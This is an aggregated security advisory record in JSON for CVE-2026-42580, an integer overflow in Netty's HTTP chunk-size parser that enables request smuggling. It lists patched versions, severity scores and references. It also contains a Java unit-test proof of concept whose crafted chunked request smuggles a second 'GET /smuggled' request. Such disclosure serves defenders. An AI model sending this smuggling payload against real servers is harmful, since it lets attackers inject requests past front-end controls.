{"id":"CVE-2026-42580","aliases":["CVE-2026-42580","GHSA-m4cv-j2px-7723"],"related":[],"kind":"vulnerability","state":"published","title":"Netty: HTTP Request Smuggling due to incorrect chunk size parsing","summary":"Netty is an asynchronous, event-driven network application framework. Prior to 4.2.13.Final and 4.1.133.Final, Netty's chunk size parser silently overflows int, enabling request smuggling attacks. This vulnerability is fixed in 4.2.13.Final and 4.1.133.Final.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"Netty is an asynchronous, event-driven network application framework. Prior to 4.2.13.Final and 4.1.133.Final, Netty's chunk size parser silently overflows int, enabling request smuggling attacks. This vulnerability is fixed in 4.2.13.Final and 4.1.133.Final.","source":"cvelist"},{"lang":"en","text":"### Summary\nNetty's chunk size parser silently overflows int, enabling request smuggling attacks.\n\n### Details\nio.netty.handler.codec.http.HttpObjectDecoder#getChunkSize silently overflows int.\n\nThe size is accumulated as follows:\n\nresult *= 16;\nresult += digit;\n\nThe result is checked only for negative values. However, with a carefully crafted chunk size, the result can be a valid size.\n\n### PoC\nThe test below shows Netty successfully parsing the second request, demonstrating how an attacker can smuggle a second request inside a chunked body.\n\n```java\n@Test\npublic void test() {\n    String requestStr = \"POST / HTTP/1.1\\r\\n\" +\n            \"Host: localhost\\r\\n\" +\n            \"Transfer-Encoding: chunked\\r\\n\\r\\n\" +\n            \"100000004\\r\\n\" +\n            \"test\\r\\n\" +\n            \"0\\r\\n\" +\n            \"\\r\\n\" +\n            \"GET /smuggled HTTP/1.1\\r\\n\" +\n            \"Host: localhost\\r\\n\" +\n            \"Content-Length: 0\\r\\n\" +\n            \"\\r\\n\";\n\n    EmbeddedChannel channel = new EmbeddedChannel(new HttpRequestDecoder());\n    assertTrue(channel.writeInbound(Unpooled.copiedBuffer(requestStr, CharsetUtil.US_ASCII)));\n\n    // Request 1\n    HttpRequest request = channel.readInbound();\n    assertTrue(request.decoderResult().isSuccess());\n    HttpContent content = channel.readInbound();\n    assertTrue(content.decoderResult().isSuccess());\n    assertEquals(\"test\", content.content().toString(CharsetUtil.US_ASCII));\n    content.release();\n    LastHttpContent last = channel.readInbound();\n    assertTrue(last.decoderResult().isSuccess());\n    last.release();\n\n    // Request 2\n    request = channel.readInbound();\n    assertTrue(request.decoderResult().isSuccess());\n    last = channel.readInbound();\n    assertTrue(last.decoderResult().isSuccess());\n    last.release();\n}\n```\n\n### Impact\nHTTP Request Smuggling: Attacker injects arbitrary HTTP requests","format":"markdown","source":"ghsa"},{"lang":"es","text":"Netty es un framework de aplicación de red asíncrono y basado en eventos. Antes de 4.2.13.Final y 4.1.133.Final, el analizador de tamaño de fragmento de Netty desborda silenciosamente int, lo que permite ataques de contrabando de solicitudes. Esta vulnerabilidad está corregida en 4.2.13.Final y 4.1.133.Final.","source":"nvd"}],"published":"2026-05-07T00:13:05.000Z","modified":"2026-10-26T17:10:03.270Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L","score":6.5,"rating":"MEDIUM"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L","score":6.5,"rating":"MEDIUM"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L","score":6.5,"rating":"MEDIUM"}],"cwes":["CWE-190","CWE-444"],"affected":[{"ranges":[{"version":">= 4.2.0.Alpha1, < 4.2.13.Final","status":"affected"},{"version":"< 4.1.133.Final","status":"affected"}],"vendor":"netty","product":"netty","source":"cvelist"},{"ranges":[{"version":">= 4.2.0.Alpha1, < 4.2.13.Final","status":"affected"},{"version":"< 4.1.133.Final","status":"affected"}],"vendor":"io.netty","product":"netty-codec-http","source":"cvelist"},{"ranges":[{"type":"ecosystem","introduced":"4.2.0.Alpha1","status":"affected","fixed":"4.2.13.Final"}],"ecosystem":"Maven","package":"io.netty:netty-codec-http","purl":"pkg:maven/io.netty/netty-codec-http","source":"ghsa"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"4.1.133.Final"}],"ecosystem":"Maven","package":"io.netty:netty-codec-http","purl":"pkg:maven/io.netty/netty-codec-http","source":"ghsa"},{"ranges":[{"status":"affected","fixed":"4.1.133"},{"status":"affected","introduced":"4.2.0","fixed":"4.2.13"}],"vendor":"netty","product":"netty","cpe":"cpe:2.3:a:netty:netty:*:*:*:*:*:*:*:*","source":"nvd"}],"references":[{"url":"https://github.com/netty/netty/security/advisories/GHSA-m4cv-j2px-7723","tags":["exploit","vendor-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42580","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/netty/netty","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"yes","technicalImpact":"partial","date":"2026-05-14T18:21:08.229Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-42580","url":"https://www.cve.org/CVERecord?id=CVE-2026-42580","licence":"CVE Terms of Use","modified":"2026-05-14T18:21:13.322Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-m4cv-j2px-7723","url":"https://github.com/advisories/GHSA-m4cv-j2px-7723","licence":"CC-BY-4.0","modified":"2026-09-10T03:51:06.379Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-42580","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42580","licence":"Public domain","modified":"2026-10-26T17:10:03.270Z"}],"updatedAt":"2026-11-25T22:59:21.641Z","epss":{"score":0.00378,"percentile":0.33843,"date":"2026-12-01T12:00:22.000Z"}}